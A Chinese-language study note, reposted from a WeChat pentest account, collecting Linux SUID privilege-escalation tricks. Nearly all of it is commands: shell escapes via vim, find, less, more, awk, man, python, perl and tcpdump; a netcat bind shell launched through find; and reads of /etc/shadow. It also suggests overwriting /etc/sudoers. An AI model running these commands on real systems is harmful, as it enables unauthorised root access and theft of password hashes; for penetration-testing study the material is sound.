本篇文章非原创,用作笔记方便后期查询,原创作者微信公众号“黑白之道”如有侵权,联系删除
什么是suid?
通俗的理解为其他用户执行这个程序的时候可以用该程序所有者/组的权限。
常见的可用于suid提权的命令
Vim find Bash More Less cp
chmod
ash/linux shell
awk
mv
man
python
tcpdump
查找suid文件
find / -perm -u=s -type f 2>/dev/null /表示从文件系统的顶部(根)开始并找到每个目录 -perm 表示搜索随后的权限 -u = s表示查找root用户拥有的文件 -type表示我们正在寻找的文件类型 f 表示常规文件,而不是目录或特殊文件 2表示该进程的第二个文件描述符,即stderr(标准错误) >表示重定向 / dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
Vim
Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。
vim.tiny # Press ESC key :set shell=/bin/sh :shell
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
touch pentestlab find pentestlab -exec whoami ;
大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。
find pentestlab -exec netcat -lvp 5555 -e /bin/sh ;
连接上去就会直接获取到一个Root权限的shell。
-
netcat 192.168.1.189 5555
-
id
-
cat /etc/shadow
Bash
bash -p bash-3.2# id uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
more /home/pelle/myfile !/bin/bash
Less
less /etc/passwd !/bin/sh
sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
sudo ash
awk 'BEGIN {system("/bin/bash")}'
mv(暂时未有实例)
使用mv 覆盖 /etc/shadow 或者/etc/sudoers
man
man passwd !/bin/bash
import os os.system("/bin/bash")
perl
exec "/bin/bash";
ruby/lua/etc也有相似
tcpdump
echo $'id cat /etc/shadow' > /tmp/.test chmod +x /tmp/.test sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
后续再找到再补充